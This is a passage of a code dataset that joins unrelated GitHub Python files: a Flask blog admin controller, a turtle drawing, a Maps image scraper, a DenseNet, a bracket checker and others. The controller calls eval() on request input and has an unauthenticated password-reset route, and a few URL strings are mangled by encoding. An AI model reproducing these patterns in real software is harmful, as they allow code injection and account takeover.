base64.b64encode(request.files['file'].read()).decode('utf-8')\n    if request.values.get('back_img'):\n        img = CommonUtil.handle_img(base64_str, 'files', Constant.IS_BACK_IMG.value)\n    else:\n        img = CommonUtil.handle_img(base64_str, 'files')\n    remote_name = str(int(time.time()))\n    CommonUtil.upload_img('files.jpg', remote_name, '.jpg')\n    result = CommonUtil.upload_img('files.webp', remote_name)\n    if request.values.get('back_img'):\n        remote_name = remote_name + '.tiny'\n        CommonUtil.tiny_img_thumb(img, 'tiny_files')\n        CommonUtil.upload_img('tiny_files.jpg', remote_name, '.jpg')\n        CommonUtil.upload_img('tiny_files.webp', remote_name)\n    if result is not None:\n        return jsonify(response.return_message(\n            data={\n                'image_url': result,\n                'token': Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n            },\n            msg=Message.UPLOAD_SUCCESS.value,\n            code=Code.SUCCESS.value\n        ))\n    return jsonify(response.return_message(\n        data=None,\n        msg=Message.UPLOAD_FAILED,\n        code=Code.BAD_REQUEST.value\n    ))\n\n\n@admin.route('/article', methods=['POST'])\n@jwt_required\ndef post_publish(message):\n    \"\"\"\n    发布文章\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    results = request.values.to_dict()\n    if Article.get_id_by_title(results['title']) is not None:\n        return jsonify(response.return_message(\n            data={\n                \"token\": Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n            },\n            msg=Message.TITLE_EXISTS.value,\n            code=Code.TITLE_EXISTS.value\n        ))\n    article = Article(results['title'], results['desc'], results['content'], datetime.datetime.now().\n                      strftime(\"%Y-%m-%d %H:%M:%S\"), results['back_img'])\n    # 将前台传来的字符串,转换成列表,再转换成元组,然后通过标签查询id\n    tag_ids = Tag.get_id_by_tag(tuple(eval(results['tags'])))\n    result = Article.insert(article, tag_ids)\n    if result is None:\n        return jsonify(response.return_message(\n            data={\n                \"token\": Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n            },\n            msg=Message.SUCCESS.value,\n            code=Code.SUCCESS.value\n        ))\n    return jsonify(response.return_message(\n        data=None,\n        msg=Message.BAD_REQUEST.value,\n        code=Code.BAD_REQUEST.value\n    ))\n\n\n@admin.route('/article', methods=['DELETE'])\n@jwt_required\ndef delete_publish(message):\n    \"\"\"\n    删除文章\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    article_id = request.values.get('article_id')\n    result = Article.delete(article_id)\n    if result is None:\n        return jsonify(response.return_message(\n            data={\n                'token': Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n            },\n            msg=Message.DELETE_SUCCESS.value,\n            code=Code.SUCCESS.value\n        ))\n    return jsonify(response.return_message(\n        data=None,\n        msg=Message.DELETE_FAILED.value,\n        code=Code.BAD_REQUEST.value\n    ))\n\n\n@admin.route('/article', methods=['PUT'])\n@jwt_required\ndef put_publish(message):\n    \"\"\"\n    修改文章\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    results = request.values.to_dict()\n    if Article.get_by_id(results['article_id']) is None:\n        return jsonify(response.return_message(\n            data={\n                \"token\": Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n            },\n            msg=Message.ARTICLE_NOT_EXISTS.value,\n            code=Code.NOT_FOUND.value\n        ))\n    article = Article(results['title'], results['desc'], results['content'], datetime.datetime.now().\n                      strftime(\"%Y-%m-%d %H:%M:%S\"), results['back_img'])\n    article.id = results['article_id']\n    # 将前台传来的字符串,转换成列表,再转换成元组,然后通过标签查询id\n    tag_ids = Tag.get_id_by_tag(tuple(eval(results['tags'])))\n\n    if Article.update(article, tag_ids) is None:\n        return jsonify(response.return_message(\n            data={\n                \"token\": Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n            },\n            msg=Message.SUCCESS.value,\n            code=Code.SUCCESS.value\n        ))\n    return jsonify(response.return_message(\n        data=None,\n        msg=Message.BAD_REQUEST.value,\n        code=Code.BAD_REQUEST.value\n    ))\n\n\n@admin.route('/article', methods=['GET'])\n@jwt_required\ndef get_publish(message):\n    \"\"\"\n    查询文章\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    article_id = request.values.get(\"article_id\")\n    article = Article.get_by_id(article_id)\n    if article:\n        tags = [tag.tag for tag in article.tags.all()]\n        result = {\n            \"id\": article.id,\n            \"title\": article.title,\n            \"tags\": tags,\n            \"desc\": article.desc,\n            \"content\": article.content,\n            'back_img': article.back_img\n        }\n        return jsonify(response.return_message(\n            data={\n                \"article\": result,\n                \"token\": Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n            },\n            msg=Message.SUCCESS.value,\n            code=Code.SUCCESS.value\n        ))\n    return jsonify(response.return_message(\n        data=None,\n        msg=Message.BAD_REQUEST.value,\n        code=Code.BAD_REQUEST.value\n    ))\n\n\n#\n#\n# @jwt_required\n# @admin.route('/editor', methods=['POST'])\n# def edit():\n#     '''\n#     编辑文章\n#     :return:\n#     '''\n#     pass\n\n@admin.route('/tags', methods=['GET'])\n@jwt_required\ndef gettags(message):\n    \"\"\"\n    获取标签\n    :param message:\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    tags = Tag.get_all()\n    tags_value = [tag.tag for tag in tags]\n    return jsonify(response.return_message(\n        data={\n            'tags': tags_value,\n            'token': Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n        },\n        msg=Message.SUCCESS.value,\n        code=Code.SUCCESS.value\n    ))\n\n\n@admin.route('/add_tags', methods=['POST'])\n@jwt_required\ndef addtag(message):\n    \"\"\"\n    添加标签\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    new_tag = request.values.get('tag')\n    tag = Tag(new_tag)\n    result = Tag.save(tag)\n    if result is None:\n        return jsonify(response.return_message(\n            data={\n                'token': Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n            },\n            msg=Message.SUCCESS.value,\n            code=Code.SUCCESS.value\n        ))\n    return jsonify(response.return_message(\n        data=None,\n        msg=Message.BAD_REQUEST.value,\n        code=Code.BAD_REQUEST.value\n    ))\n\n\n@admin.route('/blurry_tags', methods=['GET'])\n@jwt_required\ndef get_by_tag(message):\n    \"\"\"\n    模糊查询tag\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    tag_value = request.values.get('tag')\n    tags = Tag.get_by_tag(tag_value)\n    tags_value = [tag.tag for tag in tags]\n    return jsonify(response.return_message(\n        data={\n            'tags': tags_value,\n            'token': Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n        },\n        msg=Message.SUCCESS.value,\n        code=Code.SUCCESS.value\n    ))\n\n\n@admin.route('/oldArticles', methods=['GET'])\n@jwt_required\ndef get_editor_article(message):\n    \"\"\"\n    分页查询\n    :param message:\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    params = request.values.to_dict()\n    start_time = params['beginTime']\n    end_time = params['endTime']\n    page_no = params['pageNo']\n    result = Article.get_all_by_date(start_time, end_time, page_no)\n    articles = []\n    for item in result.items:\n        tags = [tag.tag for tag in item.tags.all()]\n        article = {\n            \"id\": item.id,\n            \"title\": item.title,\n            \"tags\": tags,\n            \"datetime\": item.date_publish.strftime(\"%Y-%m-%d\")\n        }\n        articles.append(article)\n    return jsonify(response.return_message(\n        data={\n            \"articles\": articles,\n            \"token\": Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode(),\n            \"total\": result.total\n        },\n        msg=Message.SUCCESS.value,\n        code=Code.SUCCESS.value\n    ))\n\n\n@admin.route('/verify', methods=['POST'])\ndef verify():\n    \"\"\"\n    校验用户名和邮箱\n    :return:\n    \"\"\"\n    params = request.values.to_dict()\n    enter_username = params['username']\n    enter_email = params['email']\n    # 用户信息校验成功\n    if SysUser.verify(enter_username, enter_email) is True:\n        # 获取毫秒级时间戳\n        t = time.time()\n        ms_t = int(round(t * 1000))\n        # 将邮箱前两位设为*\n        '''\n            re.sub()有5个参数,三个必选参数pattern,repl,string;两个可选参数count,flags\n            re.sub(pattern,repl,string,count,flags)\n            pattern:表示正则表达式中的模式字符串;\n            repl:被替换的字符串,或者是一个方法(既可以是字符串,也可以是函数);\n            当repl为字符串的时候,也就是需要 将string中与pattern匹配的字符串都替换成repl\n            当repl为方法的时候,就必须是一个带有一个参数,且参数为MatchObject类型的方法,该方法需要返回一个字符串。 \n            string:要被处理的,要被替换的字符串;\n            count:指的是最大的可以被替换的匹配到的字符串的个数,默认为0,就是所有匹配到的字符串。 \n            flgas:标志位\n         '''\n        reset_email1 = re.sub(enter_email[:2], '**', enter_email)\n\n        # 整合参数格式\n        encrypt_params = 'username={}&email={}×tamp={}'.format(enter_username, reset_email1, str(ms_t))\n        # .encode() :用来转换成bytes数组\n        sid = base64.b64encode(encrypt_params.encode()).decode()\n        # 接收发送返回消息\n        send_result = CommonUtil.send_email(enter_email, sid)\n        # 如果发送失败,则会返回失败原因\n        if send_result:\n            return jsonify(response.return_message(\n                data=send_result,\n                msg=Message.EMAIL_SEND_FAILED.value,\n                code=Code.FORBIDDEN.value\n            ))\n        # 否则发送成功\n        return jsonify(response.return_message(\n            data=None,\n            msg=Message.EMAIL_SEND_SUCCESS.value,\n            code=Code.SUCCESS.value\n        ))\n    # 用户信息校验失败\n    else:\n        return jsonify(response.return_message(\n            data=None,\n            msg=Message.VERIFY_FAILED.value,\n            code=Code.BAD_REQUEST.value\n        ))\n\n\n@admin.route('/resetPwd', methods=['PUT'])\ndef reset_pwd():\n    \"\"\"\n    重置密码\n    :return:\n    \"\"\"\n    params = request.values.to_dict()\n    password = params['password']\n    if password is None or len(password) < Constant.PASSWORD_LENGTH.value:\n        return jsonify(response.return_message(None, Message.PASSWORD_LENGTH_LESS_THAN.value, Code.BAD_REQUEST.value))\n    passwords = set_password(password)\n    result = SysUser.reset_password(params['username'], passwords)\n    if result is None:\n        return jsonify(response.return_message(None, Message.SUCCESS.value, Code.SUCCESS.value))\n    else:\n        return jsonify(response.return_message(None, Message.RESET_PASSWORD_FAILED.value, Code.BAD_REQUEST.value))\n","repo_name":"YiNanXiangBei/mine_blog","sub_path":"application/controllers/sys_admin_controller.py","file_name":"sys_admin_controller.py","file_ext":"py","file_size_in_byte":17600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"26963534398","text":"# 雪景艺术绘图\n# 图形艺术背景是黑色,分为上下两个区域,上方是漫天彩色雪花,下方是由远及近的灰色横线渐变\n# 运用了随机元素,如雪花位置、颜色、大小、花瓣数目、地面灰色线条长度、线条位置等,用到了turtle和random库\n\n# 注:图形艺术程序往往动画时间较长,可以在主程序调用Tracer(False)函数关闭动画效果,从而一次性绘制所有效果\n\n# 第一步:构建图的背景,窗体大小为800*600,颜色为black,然后定义上方雪花绘制函数drawSnow()和下方雪地绘制函数draeGround()\n\n# 第二步:绘制雪花效果,为体现艺术效果,drawSnow()函数首先隐藏画笔,设置画笔大小、绘制速度,\n# 然后使用for循环绘制100朵雪花,为了使雪花颜色随机,使用random()函数生成画笔颜色rgb值\n# 这里采用turtle库默认的0~1浮点数RGB取值,在指定区域随机选择坐标绘制雪花,利用randint(-350,350)生成随机数\n# 上方区域定义为x坐标范围(-350,350),y坐标范围为(1,270)内的区域,雪花大小为snowsize,雪花花瓣数dens都分别设为一定范围内的随机数\n# 最后通过for循环绘制出多彩雪花\n\n# 第三步:绘制雪地效果。drawGround()函数使用for循环绘制地面400道小横线,\n# 画笔大小pensize、位置坐标x,y、线段长度均通过ranint()作为随机数生成。\n# 由于小横线的灰度呈现由远及近的效果,因此r、g、b的值应根据y坐标进行变化;\n# 灰色的r、g、b值颜色相等,为了控制在0~1之间,它们的计算方式均为-y/280\n\n\nfrom turtle import *\nfrom random import *\n\n\ndef drawSnow():\n    hideturtle()\n    pensize(2)\n    for i in range(100):\n        r,g,b = random(),random(),random()\n        pencolor((r,g,b))\n        penup()\n        setx(randint(-350,350))\n        sety(randint(1,270))\n        pendown()\n        dens = randint(8,12)\n        snowsize = randint(10,14)\n        for j in range(dens):\n            forward(snowsize)\n            backward(snowsize)\n            right(360/dens)\n\ndef drawGround():\n    hideturtle()\n    for i in range(400):\n        pensize(randint(5,10))\n        x = randint(-400,350)\n        y = randint(-280, -1)\n        r,g,b = -y/280,-y/280,-y/280\n        pencolor((r,g,b))\n        penup()\n        goto(x,y)\n        pendown()\n        forward(randint(40,100))\n\nsetup(800, 600, 200, 200)\ntracer(False)\nbgcolor(\"black\")\ndrawSnow()\ndrawGround()\ndone()","repo_name":"dkcdsj/helloworld","sub_path":"exercise/scpcheers/exercise/雪景艺术绘图.py","file_name":"雪景艺术绘图.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"zh","doc_type":"code","dataset":"github-code","pt":"78"}
+{"seq_id":"39091953674","text":"import csv\nimport urllib\nimport os\nfrom os.path import isfile, join\nimport time\nimport random\n\nUScitylist = {}\n\nwith open('GL2_city_loc.csv','rb') as csvfile:\n    reader = csv.reader(csvfile,delimiter='\\t')\n    for row in reader:\n        if (row[3]==\"US\"):\n            if row[6] in UScitylist.keys():\n                UScitylist[row[6]].append(row[7])\n            else:\n                UScitylist[row[6]] = []\n                UScitylist[row[6]].append(row[7])\n\n#print UScitylist['Illinois']\n\nroadmapurl = \"https://maps.googleapis.com/maps/api/staticmap?zoom=18&size=800x800&maptype=roadmap\"\nsatelliteurl = \"https://maps.googleapis.com/maps/api/staticmap?zoom=18&size=800x800&maptype=satellite\"\n\nfor city in UScitylist['Texas']:\n    urllib.urlretrieve(roadmapurl+\"¢er=\"+city, \"mapdata/\"+city+\"_Texas_roadmap.png\")\n    urllib.urlretrieve(satelliteurl+\"¢er=\"+city, \"mapdata/\"+city+\"_Texas_satellite.png\")\n    time.sleep(3 + random.random())\n    \nonlyfiles = [ f for f in os.listdir(\"mapdata/\") if isfile(join(\"mapdata/\",f)) ]\n\n#for i in onlyfiles:\n#    city = i.split('_')\n#    time.sleep(2)\n    #print satelliteurl+\"¢er=\"+city[0].lower()\n#    urllib.urlretrieve(satelliteurl+\"¢er=\"+city[0].lower(), \"mapdata/\"+city[0]+\"_Illinois_satellite.png\")\n","repo_name":"pauljv92/cs446_mapgen","sub_path":"data_collection/getmapimages.py","file_name":"getmapimages.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"17298359017","text":"import torch.nn as nn\nimport torch\n\nDENSENET121 = 'densenet-121'\nDENSENET169 = 'densenet-169'\nDENSENET201 = 'densenet-201'\nDENSENET264 = 'densenet-264'\n\n\nclass DenseNet(nn.Module):\n    '''\n    Implementation of the DenseNet, which was proposed by Huang et al.\n    https://arxiv.org/abs/1608.06993.\n    '''\n\n    def __init__(self, device, num_classes=3, device_ids=[0], growth_rate=32, architecture='densenet-121'):\n        \"\"\"\n        Parameters\n        ----------\n        device:                 device\n                                Used device (values can be detected automatically by torch.device())\n        num_classes:            int\n                                amount of classification classes\n        device_ids:             array\n                                Contains indices of the devices\n        growth_rate:            int\n                                Amount of feature maps, which is produced by each Dense Layer. Hyperparameter of the network.\n        architecture:           str\n                                Determines the type of the DenseNet architecture.\n                                The different architectures has a different amount of layers.\n                                They were proposed by Huang et al. in https://arxiv.org/abs/1608.06993.\n                                Architectures:\n                                    - 'densenet-121'\n                                    - 'densenet-169'\n                                    - 'densenet-201'\n                                    - 'densenet-264'\n        \"\"\"\n        super(DenseNet, self).__init__()\n\n        # determine type of DenseNet architecture\n        if architecture is DENSENET169:\n            layers = [6, 12, 32, 32]\n        elif architecture is DENSENET201:\n            layers = [6, 12, 48, 32]\n        elif architecture is DENSENET264:\n            layers = [6, 12, 64, 48]\n        else:\n            # Default: DENSENET-121\n            layers = [6, 12, 24, 16]\n\n        self.device = device\n        self.num_classes = num_classes\n        self.growth_rate = growth_rate\n        self.layers = layers\n\n        # first convolution\n\n        # 3 input channels\n        self.conv = nn.Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2))\n        self.batch_norm = nn.BatchNorm2d(num_features=64)\n        self.relu = nn.ReLU()\n\n        self.max_pool = nn.MaxPool2d(kernel_size=(3, 3), stride=2)\n\n        # Dense Blocks\n        self.dense_block_1 = DenseBlock(in_channels=64, n_layers=self.layers[0], growth_rate=self.growth_rate,\n                                        device=device,\n                                        device_ids=device_ids)\n\n        in_channel_1 = int((64 + self.growth_rate * self.layers[0]) * 0.5)\n\n        self.dense_block_2 = DenseBlock(in_channels=in_channel_1,\n                                        n_layers=self.layers[1], growth_rate=self.growth_rate,\n                                        device=device,\n                                        device_ids=device_ids)\n\n        in_channel_2 = int((in_channel_1 + self.growth_rate * self.layers[1]) * 0.5)\n\n        self.dense_block_3 = DenseBlock(in_channels=in_channel_2, n_layers=self.layers[2], growth_rate=self.growth_rate,\n                                        device=device,\n                                        device_ids=device_ids)\n\n        in_channel_3 = int((in_channel_2 + self.growth_rate * self.layers[2]) * 0.5)\n\n        self.dense_block_4 = DenseBlock(in_channels=in_channel_3, n_layers=self.layers[3], growth_rate=self.growth_rate,\n                                        device=device,\n                                        device_ids=device_ids)\n        channels = in_channel_1 * 2\n\n        # Transition Layers\n        self.transition1 = nn.DataParallel(TransitionLayer(in_channels=in_channel_1 * 2),\n                                           device_ids=device_ids).to(device)\n\n        self.transition2 = nn.DataParallel(TransitionLayer(in_channels=in_channel_2 * 2),\n                                           device_ids=device_ids).to(device)\n\n        self.transition3 = nn.DataParallel(TransitionLayer(in_channels=in_channel_3 * 2),\n                                           device_ids=device_ids).to(device)\n\n        self.global_avg_pool = nn.AdaptiveAvgPool2d((1, 1))\n        in_channel_4 = int(in_channel_3 + self.growth_rate * self.layers[3])\n\n        self.linear = nn.Linear(in_channel_4, self.num_classes)\n\n        self.softmax = nn.Softmax()\n\n    def forward(self, x):\n        # initial Convolution, after this layer output should be 56x56\n        x = self.conv(x)\n        x = self.batch_norm(x)\n        x = self.relu(x)\n\n        x = self.max_pool(x)\n\n        # DenseBlock 1\n        x = self.dense_block_1(x)\n\n        # Transition 1\n        x = self.transition1(x)\n\n        # DenseBlock 2\n        x = self.dense_block_2(x)\n\n        # Transition 2\n        x = self.transition2(x)\n\n        # DenseBlock 3\n        x = self.dense_block_3(x)\n\n        # Transition 3\n        x = self.transition3(x)\n\n        # DenseBlock 4\n        x = self.dense_block_4(x)\n\n        # Classification\n        x = self.global_avg_pool(x)\n        x = torch.flatten(x, start_dim=1)\n        x = self.linear(x)\n        # x = self.softmax(x)\n\n        return x\n\n\nclass DenseBlock(nn.Module):\n    \"\"\"\n    A DenseBlock consists of multiple DenseLayers.\n    Here the Amount of feature maps will be increased.\n    \"\"\"\n    def __init__(self, in_channels, n_layers, growth_rate, device, device_ids=[0]):\n        \"\"\"\n        Parameters\n        ----------\n        in_channels:            int\n                                amount of incoming feature_maps\n        n_layers:               int\n                                amount of DenseLayers in this DenseBlock\n        growth_rate:            int\n                                Amount of feature maps, which is produced by each Dense Layer. Hyperparameter of the network.\n        device:                 device\n                                Used device (values can be detected automatically by torch.device())\n        device_ids:             array\n                                Contains indices of the devices\n        \"\"\"\n        super(DenseBlock, self).__init__()\n        self.n_layers = n_layers\n        self.in_channels = in_channels\n        self.growth_rate = growth_rate\n        self.dense_layers = nn.ModuleList()\n\n        for i in range(self.n_layers):\n            model = DenseLayer(int(i * self.growth_rate + self.in_channels), self.growth_rate)\n            # model = model.double()\n            dense_layer = nn.DataParallel(model, device_ids=device_ids)\n            dense_layer.to(device)\n            self.dense_layers.append(dense_layer)\n\n    def forward(self, x):\n        for i in range(self.n_layers):\n            # in_channels are out_channels from the last layer\n            y = self.dense_layers[i](x)\n            x = torch.cat([x, y], dim=1)\n        return x\n\n\nclass DenseLayer(nn.Module):\n    \"\"\"\n    Increases the amount of incoming feature maps by growth rate.\n    \"\"\"\n    def __init__(self, in_channels, growth_rate):\n        \"\"\"\n        Parameters\n        ----------\n        in_channels:                int\n                                    amount of incoming feature_maps\n        growth_rate:                int\n                                    Amount of feature maps, which is produced by each Dense Layer. Hyperparameter of the network.\n        \"\"\"\n        super(DenseLayer, self).__init__()\n        self.batch_norm = nn.BatchNorm2d(in_channels)\n        self.relu = nn.ReLU()\n        self.conv1 = nn.Conv2d(in_channels, in_channels, kernel_size=(1, 1), stride=(1, 1))\n        self.conv2 = nn.Conv2d(in_channels, growth_rate, kernel_size=(3, 3), stride=(1, 1),\n                               padding=(1, 1))\n\n        self.drop_out = nn.Dropout(p=0.2)\n\n    def forward(self, x):\n        # first conv(1x1)\n        x = self.batch_norm(x)\n        x = self.relu(x)\n        x = self.conv1(x)\n\n        # second conv(3x3)\n        x = self.batch_norm(x)\n        x = self.relu(x)\n        x = self.conv2(x)\n\n        # after each Conv (3x3) dropout layer\n        x = self.drop_out(x)\n\n        return x\n\n\nclass TransitionLayer(nn.Module):\n    \"\"\"\n    The Transition Layer is used to downsize the amount and size of feature maps.\n    First, for downsizing the amount of Feature maps a Convolutional Layers is used.\n    Second, to half the size of the feature maps an Average-Pooling_Layer is used.\n    \"\"\"\n\n    def __init__(self, in_channels):\n        \"\"\"\n        Parameters\n        ----------\n        in_channels:                int\n                                    amount of incoming feature_maps\n        \"\"\"\n        super(TransitionLayer, self).__init__()\n        self.batch_norm = nn.BatchNorm2d(in_channels)\n        self.relu = nn.ReLU()\n        self.conv = nn.Conv2d(in_channels, int(in_channels / 2), kernel_size=(1, 1), stride=(1, 1))\n\n        self.avg_pool = nn.AvgPool2d(kernel_size=(2, 2), stride=2)\n\n    def forward(self, x):\n        # Convolution\n        x = self.batch_norm(x)\n        x = self.relu(x)\n        x = self.conv(x)\n\n        # Pooling\n        x = self.avg_pool(x)\n\n        return x\n","repo_name":"MarinkoBa/AML","sub_path":"utils/densenet.py","file_name":"densenet.py","file_ext":"py","file_size_in_byte":9165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"21874665100","text":"class Stack:\n    def __init__(self):\n        self.li = []\n        self.count = 0\n\n    def push(self, word):\n        self.li.append(word)\n        self.count += 1\n\n    def pop(self):\n        if not len(self.li):\n            return False\n        self.count -= 1\n        return self.li.pop()\n\n    def length(self):\n        return self.count\n\n\nlink = {')': '(', ']': '['}\n\nwhile True:\n    st = input()\n    if st == '.':\n        break\n    s = Stack()\n    result = True\n    for c in st:\n        if c == '[' or c == '(':\n            s.push(c)\n        elif c == ']' or c == ')':\n            test_value = s.pop()\n            result = False if not test_value or link[c] != test_value else True\n        if not result:\n            break\n    if s.length() != 0:\n        result = False\n    print('yes' if result else 'no')\n","repo_name":"Rekalux/Algorithm-etc","sub_path":"Only Algorithm/Year2021/Day0304/Boj_4949.py","file_name":"Boj_4949.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"11159469799","text":"from decouple import config\nimport requests as re\nimport json\n\n\nmy_key = config(\"OPENAI_API_KEY\")\nURL = \"https://api.openai.com/v1/chat/completions\"\n\npayload = {\n\"model\": \"gpt-3.5-turbo\",\n\"messages\": [{\"role\":\"user\", \"content\": f\"List popular coding languages\"},],\n\"temperature\" : 1.0,\n}\n\nheaders = {\n\"Content-Type\": \"application/json\",\n\"Authorization\": f\"Bearer {my_key}\"\n}\n\nresponse = re.post(URL, headers=headers, json=payload, stream=False)\n\nbyte_str = response.content\njson_string = byte_str.decode('utf-8')\njson_data = json.loads(json_string)\n\nprint(json_data[\"choices\"][0][\"message\"][\"content\"])","repo_name":"MiltosKon/openai","sub_path":"src/APIcall.py","file_name":"APIcall.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"3524184565","text":"from typing import Optional, Tuple\n\nfrom easydict import EasyDict as edict\nimport torch\nfrom torch import Tensor\n\nfrom .detector import Detector\nfrom utils.model import define_mlp\nfrom utils.pinned_embedding import PinnedEmbedding\n\n\nclass SymEmbedding(Detector):\n    def __init__(\n        self,\n        in_dim: int,\n        cube_scale: float,\n        n_obj: int,\n        n_keypoints: int,\n        decoder: edict,\n        emb_dim: int,\n        gpu: bool = True,\n        predict_lrf: bool = False,\n        pos_head: Optional[edict] = None,\n        lrf_head: Optional[edict] = None,\n        prior: Optional[edict] = None,\n        scale_emb: bool = False,\n        offset_emb: bool = False,\n        scale_emb_gpu: bool = True,\n        offset_emb_gpu: bool = True,\n        center_canonical: bool = True,\n        predict_mirror: bool = False,\n        use_cache: bool = False\n    ) -> None:\n        super(SymEmbedding, self).__init__(\n            in_dim, \n            emb_dim, \n            cube_scale, \n            n_obj, \n            n_keypoints, \n            predict_lrf, \n            prior, \n            scale_emb, \n            offset_emb, \n            scale_emb_gpu, \n            offset_emb_gpu,\n            center_canonical,\n            predict_mirror,\n            use_cache\n        )\n        assert lrf_head is None or (pos_head is not None and self.predict_lrf)\n        self.emb = PinnedEmbedding(self.n_obj, self.hid_dim, gpu, flex=True)\n        n_keypoints = self.n_keypoints\n        if predict_mirror:\n            n_keypoints = int(n_keypoints/2)\n        self.decoder = define_mlp(d_in=self.hid_dim, d_out=(n_keypoints * (8 if self.predict_lrf else 3)) if pos_head is None else None, **decoder)\n        self.pos_head = define_mlp(d_in=decoder.dims[-1], d_out=n_keypoints * 3, **pos_head) if pos_head is not None else None\n        self.lrf_head = define_mlp(d_in=decoder.dims[-1], d_out=n_keypoints * 5, **lrf_head) if lrf_head is not None else None\n\n    def interpolate(self, idx: Tensor, num_steps: int) -> None:\n        \"\"\"\n        Arguments\n            idx: [n, 2]\n        \"\"\"\n        n = len(idx)\n        latents = self.emb(idx.flatten()).view(n, 2, -1)  # [n, 2, hid_dim]\n        step_weights = torch.linspace(0, 1, num_steps)[None, :, None]                           # [1, num_steps, 1]\n        interpolated = (1 - step_weights) *  latents[:, :1] + step_weights * latents[:, 1:]     # [n, num_steps, hid_dim]\n        self.n_obj = n * num_steps\n        self.emb.init(interpolated.flatten(0, 1))\n    \n    def randomize(self, idx: Tensor, num_random: int, std: float) -> None:\n        \"\"\"\n        Arguments\n            idx: [n]\n        \"\"\"\n        n = len(idx)\n        self.n_obj = n * num_random\n        self.emb.init(std=std)\n\n    def copy_selection(self, idx: Tensor, num_copies: int) -> None:\n        \"\"\"\n        Arguments\n            idx: [n]\n        \"\"\"\n        n = len(idx)\n        latents = self.emb(idx)     # [n, hid_dim]\n        self.n_obj = n * num_copies\n        self.emb.init(latents[:, None].expand(-1, num_copies, -1).flatten(0, 1))\n\n    def encode(self, idx: Tensor) -> Tensor:\n        \"\"\"\n        Arguments:\n            idx: [B]\n        Returns:\n            latent: [B, hid_dim]\n        \"\"\"\n        return self.emb(idx)\n\n    def decode(self, latent: Tensor) -> Tuple[Tensor, Optional[Tensor]]:\n        \"\"\"\n        Arguments:\n            latent: [L, hid_dim]\n        Returns:\n            pos: [L, n_kp, 3]\n            optional lrf: [L, n_kp, 5]\n        \"\"\"\n        L = latent.shape[0]\n        decoded = self.decoder(latent)\n        if self.pos_head is not None:\n            pos = self.pos_head(decoded)\n            if self.predict_mirror:\n                pos = pos.view(L, int(self.n_keypoints/2), 3)\n                ones = torch.ones_like(pos)\n                ones[:,:,0] = -1.\n                pos = torch.cat([pos, pos*ones], dim=1)\n            pos = pos.view(L, self.n_keypoints, 3)\n        else:\n            if self.predict_mirror:\n                pos = decoded.view(L, int(self.n_keypoints/2), -1)[..., :3]\n                ones = torch.ones_like(pos)\n                ones[:,:,0] = -1.\n                decoded = torch.cat([pos, pos*ones], dim=1)\n            pos = decoded.view(L, self.n_keypoints, 3)\n\n        if self.predict_lrf:\n            if self.lrf_head is not None:\n                lrf = self.lrf_head(decoded).view(L, self.n_keypoints, 5)\n            else:\n                lrf = decoded.view(L, self.n_keypoints, -1)[..., 3:]\n        else:\n            lrf = None\n        \n        return pos, lrf\n","repo_name":"Chrixtar/SimNP","sub_path":"core/detectors/sym_embedding.py","file_name":"sym_embedding.py","file_ext":"py","file_size_in_byte":4530,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"18825810962","text":"import collections\n\nspectrum = list(map(int, input().split()))\ndictionary = {\n    'G': 57,\n    'A': 71,\n    'S': 87,\n    'P': 97,\n    'V': 99,\n    'T': 101,\n    'C': 103,\n    'L': 113,\n    'N': 114,\n    'D': 115,\n    'K': 128,\n    'E': 129,\n    'M': 131,\n    'H': 137,\n    'F': 147,\n    'R': 156,\n    'Y': 163,\n    'W': 186,\n}\nlist_react = (' '.join(dictionary.keys())).split(' ')\n\n\ndef reformat_list1(default_list):\n    for el in range(len(default_list)):\n        default_list[el] = dictionary.setdefault(default_list[el])\n\n\nreformat_list1(list_react)\n\n\ndef expand(default_peptides):\n    return [j + [i] for i in list_react for j in default_peptides]\n\n\ndef peptide_line_mass(default_peptide):\n    return [0] + [sum(default_peptide[i:i + l]) for l in range(1, len(default_peptide) + 1)\n                  for i in range(len(default_peptide) - l + 1)]\n\n\ndef peptide_cycle_mass(default_peptide):\n    temp = sum(default_peptide)\n    base_length = len(default_peptide)\n    default_peptide = default_peptide + default_peptide[:-1]\n    temp1 = [sum(default_peptide[i:i + l]) for l in range(1, base_length) for i in range(base_length)]\n    return [0] + sorted(temp1) + [temp]\n\n\ndef consistent(default_peptide, default_spectrum):\n    def_peptide_count = 